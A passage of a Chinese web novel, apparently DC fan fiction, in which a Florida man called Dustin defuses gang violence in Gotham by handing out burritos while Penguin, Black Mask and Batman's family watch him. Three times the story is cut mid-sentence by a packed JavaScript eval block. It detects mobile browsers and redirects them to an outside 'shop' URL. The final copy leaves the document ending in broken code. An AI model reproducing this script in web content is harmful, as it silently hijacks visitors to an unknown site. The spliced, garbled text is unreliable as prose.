“……聊佛罗里达。” 企鹅人的嘴角抽了抽。 “聊佛罗里达?” “对。他说佛罗里达那边有人为了不交停车费,把车开进海里洗车。黑面具的人听了都笑。” 企鹅人盯着光头,想从那张脸上找到撒谎的痕迹。 但没有。 光头说的每句话,都真诚得可怕。 “那个卷饼,”企鹅人问,“你吃过吗?” 光头点头。 “什么感觉?” 光头想了想。 “就是……舒服。不是那种被下药的感觉,就是吃饱了之后不想动,心情变好。” 企鹅人眯起眼睛。 他想起自己吃完卷饼之后的感觉——噪音带来的烦躁感消失了,整个人都平和了。 那个卷饼,确实有问题。 但现在的问题是:那个人,到底是敌是友? 他帮自己送货,路上遇到抢劫,用卷饼解决了问题——从结果看,他是帮了自己的。 但货最后被劫了。 不是他干的,但确实在他离开之后发生的。 巧合? 还是…… 企鹅人揉了揉太阳穴。 “继续盯着他。”他说,“别动他,但盯紧。” 光头点头,转身要走。 “等等。”企鹅人叫住他,“下次他再来,客气点。这个人……有用。” 9. 卷饼侠 达斯汀收到了一张请柬。 光头送来的,烫金的卡片,上面印着企鹅人的标志,还有一行字: “诚邀达斯汀先生参加冰山餐厅开业十周年庆典。晚七点,冰山餐厅顶层。” 达斯汀翻来覆去看了三遍,问光头:“这是请我吃饭?” 光头点头。 “正装是什么?” 光头沉默了一秒。 “……就是穿正式点。” 达斯汀低头看了看自己的花裤衩,又看了看光头身上的黑西装。 “那我没有。” 光头深吸一口气。 “老板说了,您穿什么都行。” 达斯汀眼睛亮了:“真的?” 光头艰难地点了点头。 光头走后,老太太从屋里出来,看着那张请柬,独眼里闪过一丝复杂的情绪。 “企鹅人的宴会,你知道是什么地方吗?” “吃饭的地方啊。”达斯汀把请柬收起来。 老太太盯着他看了很久。 “小子,那地方去的都是哥谭有头有脸的人。□□老大、政客、富商,你去了,就是羊入虎口。” 达斯汀眨眨眼。 “可他请我吃饭啊。” 老太太沉默了。 “行,”她叹了口气,“你去吧。反正我说了你也听不懂。” ---韦恩庄园--- 布鲁斯·韦恩站在镜子前,阿尔弗雷德正在帮他整理领结。 “老爷,今晚的慈善晚宴在冰山餐厅举办。”阿尔弗雷德说,“企鹅人的地盘。” 布鲁斯点点头。 “那位佛罗里达先生也会出席。”阿尔弗雷德补充,“他收到了邀请。” 布鲁斯的手指顿了一下。 “我知道。” “您打算……” “观察。”布鲁斯拿起桌上的请柬,翻了翻,“企鹅人特意请他,肯定有问题。” 阿尔弗雷德点点头,退后一步。 “车已经准备好了,少爷。” 布鲁斯转身,脸上挂起布鲁西宝贝的标准笑容。 “好,去看看那个胖子想干什么。” ---冰山餐厅--- 冰山餐厅今晚灯火通明。 门口铺着红毯,两边站着穿黑西装的保镖,一个个面无表情。豪车一辆接一辆停下来,政客、商人、社会名流从车上下来,女士们穿着晚礼服,男士们西装革履,互相寒暄着走进去。 一辆出租车停在红毯尽头。 达斯汀从车上下来,穿着花裤衩、人字拖,肩上蹲着火烈鸟,身后跟着一条鳄鱼。 门口的保镖集体愣住了。 红毯上的宾客集体愣住了。 远处的记者集体愣住了。 达斯汀冲他们挥挥手,踩着人字拖,啪嗒啪嗒地往门口走。 “晚上好。”他对保镖说,“我叫达斯汀,来吃饭的。” 保镖的嘴张了张,又闭上,又张开。 “……您……请进。” 达斯汀点点头,带着小饼干和火烈鸟走了进去。 身后的记者们疯狂按快门。 宴会大厅里,水晶吊灯洒下璀璨的光芒。长桌上摆满美食,侍者端着香槟穿梭其间。女人们穿着晚礼服,男人们西装革履,三三两两地交谈。 达斯汀走进来的那一刻,大厅安静了两秒。 所有目光集中在那条花裤衩上。 小饼干打了个嗝,继续走。 然后那只火烈鸟叫了一声。 达斯汀完全没注意到周围的反应,他的眼睛已经被长桌上的食物吸引了。 “这么多吃的!” 他快步走过去,拿起一个盘子,开始夹菜。 火烈鸟从达斯汀肩上飞下来,落在餐桌旁,开始啄桌上的小蛋糕。 宾客们面面相觑,但很快恢复了交谈。毕竟这是哥谭,什么怪人都有。 角落的沙发上,布鲁斯·韦恩端着一杯香槟,看着那个花裤衩的背影,嘴角微微勾起。 企鹅人从楼梯上走下来,穿着一身剪裁考究的西装,笑容满面。 “各位贵宾,欢迎来到冰山餐厅的周年庆典!”他举起酒杯,“今晚,不醉不归!” 众人鼓掌。 企鹅人的目光扫过人群,落在那个正在埋头吃东西的花裤衩身上。他的笑容加深了。 达斯汀正好抬头,看到企鹅人,挥手大喊: “科波特!这虾真好吃!” 企鹅人的嘴角抽了抽,但还是笑着走过去。 “达斯汀,你来了。” “来了来了。”达斯汀咽下一口虾,“你这儿东西真多。” 企鹅人拍拍他的肩膀。 “多吃点,不够让厨房再做。” 旁边的几个宾客互相交换了一下眼神——企鹅人对这个人这么客气? 布鲁斯·韦恩端着香槟走过来。 “科波特先生,这位是?” 企鹅人转过身,脸上的笑容微妙地变化了一下。 “韦恩先生,这位是我的……朋友,达斯汀。” 布鲁斯伸出手。 “布鲁斯·韦恩。” 达斯汀握了握,眼睛亮了。 “韦恩?那个很有钱的韦恩?” 布鲁斯笑着点头。 “我在电视上见过你。”达斯汀想了想,“你们家是不是特别高?” 布鲁斯愣了一下。 “……算是吧。” 达斯汀点点头,从腰包里掏出一个卷饼。 “吃吗?刚做的。” 布鲁斯看着那个卷饼,又看着达斯汀真诚的脸。 他接过卷饼。 “谢谢。” 企鹅人的眼神在他俩之间转了一圈,没有说话。 ---餐厅外--- 几辆黑色越野车悄无声息地停在街对面。 疤脸坐在第一辆车里,看着对面灯火通明的冰山餐厅。 “老大,今晚他请了半个哥谭的名流。韦恩也在。” 黑面具的声音从对讲机里传来。 “韦恩?那个草包?” “对。” 黑面具沉默了一秒。 “正好。今晚让企鹅人当着所有人的面丢脸。动手。” 越野车的门打开,一群黑衣人鱼贯而出。 ---宴会大厅--- 音乐悠扬,宾客们翩翩起舞。 达斯汀坐在角落里,面前堆着三个空盘子,正在对付第四个。小饼干蹲在他旁边的椅背上,吃着他递过去的虾仁。 布鲁斯端着香槟走过来,在他旁边坐下。 “你不去跳舞?” 达斯汀摇头,嘴里塞满食物。 “我不会。佛罗里达那边,我们跳舞都是在沙滩上,穿得比这少。” 布鲁斯的嘴角动了动。 “你来哥谭多久了?” “忘了。”达斯汀咽下去,“反正车早就修好了。” 布鲁斯看着他。 “那你为什么不回去?” 达斯汀想了想。 “这边好玩啊。每天都有新朋友。” 布鲁斯沉默了一秒。 “你知道那些人……” 话没说完,大厅的门被猛地撞开。 一群黑衣人冲进来,手里拿着枪。 音乐停了。 尖叫声四起。 宾客们四散奔逃,酒杯摔碎在地,水晶吊灯晃动,光影摇曳。 疤脸走进来,手里拎着一把□□,脸上的疤在灯光下狰狞。 “企鹅人!” 他的声音盖过了混乱。 “出来!” 企鹅人从人群中走出来,脸色铁青。 “疤脸,你他妈想干什么?” 疤脸笑了。 “老板让我来问问,上次那批货,你是不是动了什么手脚?” 企鹅人的眼睛眯起来。 “那是你们自己没抢到,关我屁事?” 疤脸举起枪。 “那今天就在这,当着所有人的面,让你把话说清楚。” 宾客们尖叫着往后退,挤成一团。 布鲁斯站起来,把几个妇女护在身后,脸上还挂着布鲁西宝贝的惊慌表情。 “别、别开枪……” 但他的手已经暗暗摸向腰后的装备。 就在这时,一个声音从角落里传来。 “哟,这么多人?” 所有人转头。 达斯汀站起来,手里还拿着半个虾饺。 他看到疤脸,眼睛亮了。 “是你啊!那个吃卷饼的!” 疤脸看到他的那一刻,枪口下意识地垂了一下。 “……你怎么在这?” 达斯汀走过去,完全无视周围的黑衣人和那些对着他的枪口。 “来吃饭啊。”他走到疤脸面前,从腰包里掏出一个卷饼,“你饿不饿?这儿的虾很好吃,但我带的卷饼也不错。” 疤脸低头看着那个热腾腾的卷饼。 他身后的一群黑衣人也都看着他。 大厅里鸦雀无声。 布鲁斯的手停在腰后,没有动。 企鹅人眯起眼睛,嘴角微微勾起。 疤脸盯着那个卷饼,又看着达斯汀那张真诚的脸。 他想起那天晚上,百来个人吃了卷饼之后,全都忘了抢劫的事。 他想起那种感觉——吃饱了,心情好了,不想打架了。 他伸手接过卷饼。 咬了一口。 嚼着。 达斯汀已经从他身边走过去,开始给其他黑衣人发卷饼。 “来,一人一个,别抢。” “你也有。” “别客气,我还有很多。” 黑衣人面面相觑,但老大都吃了,他们也就接了。 三十秒后,百来个黑衣人蹲在大厅里,每人手里捧着一个卷饼,埋头吃着。 达斯汀发完最后一个,走回疤脸面前。 “好吃吗?” 疤脸点了点头。 “……好吃。” 达斯汀笑了,指着身后的企鹅人。 “那个,你们还打吗?” 疤脸看了企鹅人一眼,又看了达斯汀一眼,又看了一眼手里的卷饼。 他把枪收起来。 “不打了。” 企鹅人的手下们面面相觑。 企鹅人自己都愣住了。 他本来以为要血拼一场,结果…… 疤脸吃完卷饼,站起来,拍拍达斯汀的肩膀。 “兄弟,下次来南区,我请你喝酒。” 达斯汀点头:“好嘞。” 疤脸招呼手下,那群黑衣人鱼贯而出,消失在夜色中。 门关上。 宴会厅里一片死寂。 然后有人开始鼓掌。 一个人,两个人,越来越多的人鼓起掌来。 那些刚才还惊恐万状的社会名流,此刻看着达斯汀的眼神,像是在看一个英雄。 达斯汀眨眨眼,不知道他们在鼓什么。 他走回餐桌旁,拿起自己的卷饼,继续吃。 布鲁斯端着香槟走过来,在他旁边站定。 “你刚才做了什么?” 达斯汀想了想:“发卷饼啊。” 布鲁斯看着他,眼神深邃。 “你知道那些人是什么人吗?” “不知道啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376637|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达斯汀耸肩,“但他们挺可爱的,上次吃了卷饼就不抢了,这次也是。” 布鲁斯沉默了一秒。 然后他笑了——这次不是布鲁西宝贝式的笑,而是真正的、发自内心的笑。 “你真是个……特别的人。” 达斯汀点点头,递给他一个卷饼。 “你也是。吃一个?” 布鲁斯接过卷饼,咬了一口。 宴会厅里,音乐重新响起,人们开始恢复交谈,但目光时不时地飘向那个穿花裤衩的男人。 企鹅人站在主位旁,看着这一幕,眯起眼睛。 这个人,比他想象的更有用。 那些惊恐的社会名流,此刻已经围到达斯汀身边,七嘴八舌地问着问题。 “先生,您是怎么做到的?” “那个卷饼是什么配方?” “您和科波特先生是什么关系?” 达斯汀被问得有点懵,从腰包里掏出一把卷饼,递给离他最近的那个。 “吃吗?” 那人接了,周围的人也纷纷伸手。 很快,那群穿着晚礼服、戴着珠宝的社会名流,围成一个大圈,每人手里捧着一个卷饼,一边嚼一边聊,气氛融洽得像社区聚餐。 远处的记者拍下了这一幕。 明天的头版,已经有了。 企鹅人看着人群中的达斯汀,眼神里闪过一丝志在必得的光。 不久之后,宴会散场,宾客们陆续离去。 达斯汀被企鹅人请到楼上的私人包厢,桌上又摆满了吃的。 “今天多亏了你。”企鹅人亲自给他倒酒,“来,我敬你。” 达斯汀和他碰杯,一口闷了。 “那些人,你认识?”企鹅人问。 “认识啊,上次拦车那批。”达斯汀嚼着牛肉,“人挺好的。” 企鹅人沉默了一秒。 “他们拦车,是要抢我的货。” 达斯汀眨眨眼。 “抢到了吗?” “……没有。” 达斯汀点点头。 “那就好。” 企鹅人盯着他。 “你不问问他们为什么要抢?” 达斯汀想了想。 “他们饿了吧。” 企鹅人愣住了。 他看着达斯汀那张真诚的脸,突然觉得自己想多了。 这个人,真的只是觉得别人饿了就给吃的。 但他又想起疤脸吃卷饼时的表情——那种放下枪、不想打了的状态。 不是饿。 是卷饼。 那个卷饼有问题。 但成分检测没问题。 那到底是什么? 他深吸一口气,换了个话题。 “你那个腰包,能装多少?” 达斯汀拍拍腰包。 “不知道,反正没装满过。” “能给我看看吗?” 达斯汀毫不犹豫地把腰包递给他。 企鹅人接过来,翻来覆去看了几遍——就是个旧帆布包,印着褪色的“I ?? Florida”,没有任何机关。 他伸手进去,摸到的是空的。 什么都没有。 他把腰包还给达斯汀。 “你这包,挺有意思。” 达斯汀笑了。 “朋友送的。” 企鹅人点点头,没再问。 但他心里已经打定了主意。 这个人,一定要留住。 ---某处楼顶--- 红头罩蹲在滴水兽后面,看着冰山餐厅的方向。 他的通讯器里传来手下的声音。 “老大,今晚那边出事了。黑面具的人去砸场子,但被那个花裤衩用卷饼搞定了。” 杰森沉默了一秒。 “用卷饼?” “对。他给那些人发卷饼,他们吃了就不打了,全撤了。” 杰森盯着远处那片灯火,嘴角抽了抽。 他想起了那天晚上的行动。 也是因为那个人的卷饼。 他笑了。 “那家伙,真是个奇葩。” ---蝙蝠洞--- 提姆正在整理监控画面,屏幕上反复播放着达斯汀给疤脸发卷饼的那一幕。 蝙蝠侠站在他身后,一言不发。 “数据出来了。”提姆指着屏幕上的分析图,“卷饼成分正常,但那些人在吃之前和吃之后的脑电波有明显变化。攻击性下降,愉悦感上升。” 蝙蝠侠盯着那些曲线。 “像是……某种心理暗示?或者……”他顿了顿,“某种我们不知道的东西。” 蝙蝠侠沉默了很久。 屏幕上,达斯汀正在笑着和疤脸聊天,毫无防备,毫无恐惧。 “继续监控。” 他转身离开,披风在身后扬起。 提姆看着他的背影,又看着屏幕上的达斯汀。 这个人,到底是什么? ---东区公寓--- 达斯汀躺在床上,盯着天花板。 小饼干趴在浴缸里,呼噜声均匀。 火烈鸟蹲在窗台上,脑袋埋进翅膀底下。 达斯汀挠了挠头。 “今天认识了好多新朋友。”他对小饼干说,“那个蓝眼睛的,笑起来挺好看的。还有那个脸上有疤的,吃了两次卷饼了。” 小饼干打了个嗝。 达斯汀想了想,又笑了。 “明天再去溜达。” 窗外,月亮从云层后面露出来。 哥谭的夜,一如既往地黑。 但今晚之后,有一个名字开始在街头巷尾流传—— “卷饼侠”。 10. 日常 达斯汀是被火烈鸟啄醒的。 那只粉红色的傻鸟站在床头,用喙戳他的脸,一边戳一边叫,叫得比平时都响。 “干嘛……”达斯汀翻了个身,把被子蒙到头上。 火烈鸟跳下床,跑到窗台上,用翅膀拍打玻璃。 小饼干也从浴缸里爬出来,走到床边,用湿漉漉的鼻子拱他的手。 达斯汀睁开一只眼睛。 窗外,公寓楼下黑压压地围了一群人。 他坐起来,揉揉眼睛,凑到窗前看了一眼。 至少有二十多个人,有男有女,有的拿着相机,有的举着手机,还有几个扛着摄像机的。他们挤在楼下,仰着头往上看,一看到窗边有人影,立刻骚动起来。 “出来了出来了!” “卷饼侠!看这里!” “先生,能接受采访吗?” 达斯汀眨眨眼,又揉了揉眼睛。 那群人还在。 他扭头看向小饼干。 “他们是来找我的?” 小饼干打了个嗝。 火烈鸟叫了一声,翻译过来大概是“不然呢”。 达斯汀想了想,从腰包里掏出一个卷饼,边吃边下楼。 老太太站在门口,拿着拐杖,对着那群人骂了十分钟了。 “……滚远点!这是私人地盘!再挤进来我打断你们的腿!” 那群记者一边躲一边往前挤,场面乱成一团。 达斯汀推开门走出来的时候,人群瞬间安静了一秒。 然后快门声像机关枪一样响起。 “卷饼侠!昨晚在冰山餐厅,你是怎么做到的?” “那些□□为什么吃了你的卷饼就不打了?” “你和企鹅人是什么关系?” “能看看你的腰包吗?” 达斯汀被闪光灯晃得眯起眼,一边嚼卷饼一边问:“你们在说什么?” 一个年轻女记者挤到最前面,把话筒怼到他脸上。 “先生,昨晚冰山餐厅的宴会上,你用卷饼化解了一场□□袭击!现在整个哥谭都在讨论你!” 达斯汀愣了一下。 “哦,那个啊。”他咽下卷饼,从腰包里又掏出一个,“你们饿不饿?我这还有。” 人群安静了两秒。 然后快门声更疯狂了。 老太太站在门口,看着这一幕,独眼里闪过一丝复杂的情绪。 她活了这么多年,见过各种怪事,但这种情况……还真没见过。 ---韦恩庄园--- 布鲁斯坐在长餐桌前,面前摆着一份报纸。 头版头条: “卷饼侠横空出世!神秘男子用卷饼击退□□!” 配图是达斯汀在宴会厅里,手里拿着卷饼,周围一圈惊恐的名流和蹲在地上吃卷饼的□□。 布鲁斯端起咖啡,喝了一口。 达米安坐在他对面,也拿着同一份报纸,脸上的表情很复杂。 “他用卷饼上了头条。”达米安的声音听不出情绪。 布鲁斯点点头。 “那些记者给他起了个外号。”达米安继续念,“‘卷饼侠’。他们还说他是哥谭新的守护者。” 迪克从厨房里探出头,手里拿着个三明治。 “守护者?用卷饼?” 提姆坐在角落里,盯着手机屏幕。 “他的视频在网上爆了。一夜之间播放量五百万。评论区全在问‘这人是谁’、‘卷饼哪里买’、‘他能不能管管小丑’。” 杰森的声音带着一丝嘲讽。 “卷饼侠?这外号谁起的?” 达米安哼了一声。 “比你那个‘红头罩’好听。” “你说什么?” “我说——” “行了。”布鲁斯放下咖啡杯,“说正事。” 四个人安静下来。 布鲁斯看向提姆。 “黑面具那边有什么动静?” 提姆调出监控画面。 “疤脸回去之后,黑面具发了一顿火。但奇怪的是,他没有立刻报复,而是让人查达斯汀的底细。” 布鲁斯点点头。 “企鹅人呢?” “企鹅人今天一早让人送了一堆东西到达斯汀的公寓,吃的、穿的、还有一张卡。”提姆顿了顿,“那张卡是冰山餐厅的黑卡,无限额。” 达米安的眉头皱起来。 “他想收买他?” “他想利用他。”布鲁斯站起来,走到窗前,“昨晚的事,所有人都看到了。一个能让□□放下枪的人,价值不可估量。” 达米安沉默了一秒。 “那卷饼……真的有那么厉害?” 布鲁斯转过身,看着他。 “你觉得呢?” 达米安想了想。 “我吃过他的卷饼,好吃,但没觉得有什么特别的。”他顿了顿,“但那些人……吃了之后真的不打了。” 布鲁斯点点头。 “这就是问题所在。” ---东区的巷子--- 达斯汀好不容易甩开那群记者,躲进了一条小巷。 他蹲在地上喘气,小饼干趴在他脚边,火烈鸟站在他肩上,都累得不轻。 “那些人太能跑了。”达斯汀抹了抹汗,“比佛罗里达的野狗还能追。” 小饼干嗝了一声,表示赞同。 瘸子从巷子深处蹦出来,三条腿蹦到他面前,尾巴摇得像风扇。 达斯汀摸摸它的头,从腰包里掏出一个卷饼掰给它。 “还是你乖。” 瘸子埋头吃。 巷口传来脚步声。 达斯汀没抬头,先掏出一个卷饼递过去。 “吃吗?” 一只小手接过卷饼。 达米安蹲下来,和他并排。 “你又来了?”达斯汀笑了,“来喂猫?” 达米安没说话,眼睛盯着瘸子。 “它叫瘸子。”达斯汀说,“三条腿,跑不快,但吃饭很快。” 达米安的嘴角动了动。 他咬了一口卷饼,嚼着嚼着,突然问:“你上报纸了,知道吗?” 达斯汀点头。 “刚才那些人说的。” “你不高兴?” 达斯汀想了想。 “高兴啊。但不知道为什么。”他挠挠头,“我就是发了个卷饼,他们就这么激动。” 达米安看着他。 这个人,是真的不明白自己做了什么。 他让百多个□□吃了卷饼就放弃抢劫。 他让整个哥谭的名流把他当英雄。 他让企鹅人和黑面具都盯上了他。 而他只是蹲在巷子里喂狗,完全不知道自己卷进了什么。 达米安突然有点羡慕他。 “你,”他开口,“不怕吗?” 达斯汀扭头看他。 “怕什么?” “那些人。”达米安指了指报纸的方向,“□□、企鹅人、黑面具,他们可能对你不利。” 达斯汀眨眨眼。 “他们为什么要对我不利?” 达米安被问住了。 他张了张嘴,想解释□□的逻辑、利益的博弈、哥谭的生存法则,但看着达斯汀那张真诚的脸,突然觉得说什么都没用。 “他们……可能会想利用你。”他最后说。 达斯汀想了想。 “利用我干嘛?” “你的卷饼,它能让人……不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376638|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打架。” 达斯汀笑了。 “那挺好用的啊,他们要就用呗。” 达米安沉默了,他看着达斯汀,突然明白了一件事—— 这个人不是不懂危险,而是他根本不在乎,也不是因为勇敢,是因为他脑子里没有“危险”这个概念。他就觉得,饿了就吃,困了就睡,有人就发卷饼。 达米安站起来,拍了拍裤子。 “我走了。” 达斯汀挥手:“明天还来吗?” 达米安顿了一下。 “……看情况。” 他转身走了。 巷子里,瘸子吃完卷饼,开始舔爪子。 达斯汀摸摸它的头。 “那小孩挺有意思的。” ---冰山餐厅--- 企鹅人坐在办公桌后面,面前的桌上摆着一叠报纸。 都是今天的头版。 全是那个花裤衩。 他的手指敲着桌面,眼神深邃。 光头站在他面前,汇报着最新的情况。 “……黑面具的人还在查他的底细,但查不出来,他的档案就是一片空白,而且佛罗里达那边只有个地址,但是已经荒废了。” 企鹅人点点头。 “他今天在干什么?” “被记者追,后来躲进巷子里,喂狗。” 企鹅人的嘴角抽了抽。 “喂狗?” “对。”光头顿了顿,“另外,那个小孩又出现了,就是之前和他蹲巷子的那个。” 企鹅人眯起眼睛。 “小孩?查出来是谁了吗?” 光头摇头。 “看不清脸,但能看出来不是普通人家的孩子,穿的衣服是定制的,气质也不像流浪儿。” 企鹅人沉默了一秒。 “继续盯,别惊动他。” 光头点头,转身要走。 “等等。”企鹅人叫住他,“今天送的东西,他收了吗?” 光头回头。 “收了,但他问……这卡能买卷饼吗?” 企鹅人愣住了。 “……他问什么?” “他问这卡能不能买卷饼。”光头的声音有点飘,“我说能买任何东西。他说那挺好,以后买面粉方便。” 企鹅人沉默了很久。 然后他笑了。 那笑声有点复杂,像是不敢相信,又像是发现了新大陆。 “这个人,”他说,“我一定要留住。” ---黑面具的据点--- 黑面具站在窗前,手里拿着今天的报纸。 那张花裤衩的照片,占据了半个版面。 他的手指收紧,报纸被攥成一团。 疤脸站在他身后,大气不敢出。 “你是说,”黑面具的声音很慢,“昨天晚上,你带着百来个人进去,然后被一个发卷饼的搞定了?” 疤脸艰难地点头。 黑面具转过身,盯着他。 “你知道这意味着什么吗?” 疤脸摇头。 “意味着整个哥谭都在看我笑话!”黑面具把报纸砸在桌上,“那个胖子,企鹅人,现在肯定笑得合不拢嘴!” 疤脸低头。 黑面具深吸一口气,走到窗前。 “那个人的底细,查到了吗?” “查不到。”疤脸的声音很低,“他就像是从天上掉下来的。” 黑面具沉默了一秒。 “天上掉下来的?”他冷笑一声,“那就让他掉回去。” 疤脸抬头。 “老大的意思是……” 黑面具转过身,眼神阴鸷。 “找几个人,把他带过来。我要亲自会会这个……卷饼侠。” 11. 日常 达斯汀是在回家的路上被请上车的。 准确地说,是他蹲在路边给一只流浪猫掰卷饼的时候,一辆黑色面包车停在他面前,车门拉开,两个大汉跳下来,一左一右架起他就往车上拖。 小饼干反应最快,一口咬住其中一个大汉的裤腿。那人的裤子瞬间被撕下一截,露出毛茸茸的小腿。 “我操!”那人惨叫一声,回头看到一条鳄鱼正用死亡凝视盯着他。 达斯汀被架在车门口,扭头对小饼干喊:“没事没事,他们应该是请我去玩。你先回去,我一会儿就回来。” 小饼干松开嘴,打了个嗝,好像在说“你确定?” 达斯汀挥挥手,被塞进车里,车门关上,面包车扬长而去。 火烈鸟站在路边的垃圾桶上,看着远去的车,叫了一声,那声音翻译过来大概是:又来了。 小饼干看着面包车绝尘而去,打了个嗝。 火烈鸟站在它背上,叫了一声。 然后它们慢悠悠地跟了上去。 车内,达斯汀坐在两个大汉中间,左边那个正低头看着自己被撕破的裤子,表情悲痛。右边那个手里拿着根电击棍,警惕地盯着他。 达斯汀从腰包里掏出一个卷饼,递给左边那个。 “兄弟,裤子我赔你,先吃点东西?” 左边那个愣了愣,看看卷饼,又看看他,鬼使神差地接了。 咬了一口。 嚼着。 表情从悲痛变成了困惑,又从困惑变成了……舒服? 右边那个见状,也放松了一点警惕,达斯汀又掏出一个递给他。 “你也吃,别客气。” 十分钟后,面包车里弥漫着卷饼的香味,两个大汉和达斯汀并排坐着,一边嚼一边聊天。 “你们这车挺宽敞的。”达斯汀说。 “嗯,老板配的。”左边那个咽下一口,“平时拉货用的。” “你们老板谁啊?” 右边那个顿了顿,想起自己的任务,赶紧把最后一口塞进嘴里。 “到了你就知道了。” 面包车停在一个破旧的仓库门口。两个大汉把达斯汀带下车,推进仓库里。 里面很空旷,只有几盏昏暗的灯,几张破沙发,还有一群黑衣人。 黑面具坐在中间的一把椅子上,他穿着黑色风衣,戴着那张标志性的骷髅面具,手里夹着雪茄,气场阴沉,眯着眼睛看着走进来的花裤衩。 达斯汀环顾四周,眼睛亮了。 “这么多人?” 黑面具愣了愣,他见过很多被绑来的人,有的吓得发抖,有的装硬汉,有的跪地求饶。但从来没见过一个人被绑架之后,第一反应是眼睛发亮。 疤脸站在黑面具身后,小声说:“老大,就是他。” 黑面具站起来,走到达斯汀面前。 “你知道我是谁吗?” 达斯汀想了想。 “黑面具?”他指了指疤脸,“他上次说的。” 黑面具的嘴角抽了抽。 “那你知道我为什么找你吗?” 达斯汀摇头。 黑面具盯着他,想从那张脸上找到恐惧或者狡诈。但什么都没有,只有真诚的好奇。 “你的卷饼。”黑面具一字一顿,“能让我的手下放下枪。” 达斯汀眨眨眼。 “哦,那个啊。”他从腰包里掏出一个卷饼,递给黑面具,“你吃吗?刚做的。” 黑面具低头看着那个热腾腾的卷饼。 仓库里所有黑衣人都看着他。 黑面具的脸黑得像他的面具。 “我不是来吃卷饼的!” 达斯汀把卷饼收回来,自己咬了一口。 “那你来干嘛?” 黑面具深吸一口气。 “我问你,你的卷饼到底有什么问题?” 达斯汀嚼着卷饼,想了想。 “问题?没什么问题啊!面粉、牛肉、生菜、辣椒酱,都是好东西。” “那为什么我的手下吃了就不打了?” 达斯汀歪着头看他。 “因为吃饱了就不想打了啊。”他指着那群黑衣人,“你看他们,一个个站着,饿不饿?” 那群黑衣人被他这么一指,集体愣了一下。 有几个确实饿了。 达斯汀已经开始发卷饼了。 他走到最近的那个黑衣人面前,递过去一个。 “来,吃一个。” 那人看着黑面具,不敢接。 达斯汀又往前走了一步。 “没事,他就问问,又不会打你。” 那人鬼使神差地接了。 咬了一口。 嚼着。 表情变了。 达斯汀继续发。 一个一个,一圈下来,每人手里都捧着一个卷饼,埋头吃着。 仓库里只剩下咀嚼声。 黑面具站在原地,手里的雪茄快烧到手指了。 他看着自己的手下蹲在地上吃卷饼,完全忘了自己是来绑架的,脑子里一片空白。 达斯汀发完最后一个,走回他面前。 “你确定不吃?” 黑面具张了张嘴,不知道该说什么。 就在这时,仓库外面传来一阵嘈杂声。 门被踹开,光头带着一队人冲进来,手里拿着枪。 “达斯汀先生!” 他看到仓库里的场景,愣住了。黑面具的人蹲在地上吃卷饼,黑面具站在中间,表情像见了鬼。 达斯汀冲他挥手。 “光头!你也来了?吃了吗?” 光头的手下们也愣住了。 两拨人,一拨蹲着吃卷饼,一拨举着枪,场面诡异得像行为艺术。 黑面具终于反应过来。 “企鹅人的狗?你们来干什么?” 光头举起枪。 “来接人。” 两拨人对峙起来。 枪口对着枪口,气氛一触即发。 达斯汀看看左边,看看右边,从腰包里掏出一把卷饼。 “都别急,先吃点东西。” 他走到两拨人中间,开始发卷饼。 给光头一个。 给光头的手下一个。 给黑面具的人又一个。 黑面具的人本来就在吃,接了继续吃。 光头的人本来举着枪,但卷饼递到面前,条件反射地接了。 咬一口。 嚼两下。 枪口垂下来了。 达斯汀发完一圈,走回中间,自己也掏出一个吃。 “好了,现在可以好好说话了。” 两拨人蹲在地上,一边嚼卷饼,一边面面相觑。 光头嘴里塞得满满的,含糊不清地说:“老板让我来接你……” 黑面具的人里有人应和:“我们老板就想问问……” 气氛从剑拔弩张变成了茶话会。 一群人混在一起,蹲的蹲,站的站,聊着天。 疤脸正在和光头讨论哪个牌子的辣椒酱好吃。 达斯汀坐在中间,被一群人围着,讲佛罗里达的故事。 “……然后那条鳄鱼追了他三条街,最后发现那个人身上绑着一块牛肉。你们猜怎么着?” “怎么着?” “那是他老婆的牛肉,他偷出来钓鳄鱼的!” 一群人笑得前仰后合。 黑面具咬着卷饼,看着这一幕,眼神复杂。 他想起刚才吃卷饼时的感觉——不是被控制,不是被下药,就是……舒服了,不想打了。 他站起来,走到达斯汀面前。 达斯汀抬头看他。 “吃完了?” 黑面具沉默了一秒。 “你可以走了。” 达斯汀眨眨眼,笑了,站起来,拍拍裤子。 “行,那明天见。”他从腰包里掏出一把卷饼,塞给黑面具,“给你,带回去吃。” 黑面具低头看着手里那摞卷饼,不知道该说什么。 达斯汀已经往外走了,走到门口又回头,冲他们挥手。 “拜拜!” 达斯汀哼着歌走在巷子里。 小饼干不知道什么时候跟上来了,趴在他脚边喘气。火烈鸟也飞回来了,落在他肩上。 “你们怎么找到我的?” 小饼干打了个嗝。 火烈鸟叫了一声,翻译过来大概是“闻着味儿来的”。 达斯汀点点头,从腰包里掏出一个卷饼掰给它们。 一人一鳄一鸟,蹲在巷子里吃夜宵。 脚步声从身后传来。 达斯汀没回头,先掏出一个卷饼往后递。 “吃吗?” 一只手接过卷饼。 红头罩在他旁边蹲下来。 达斯汀扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 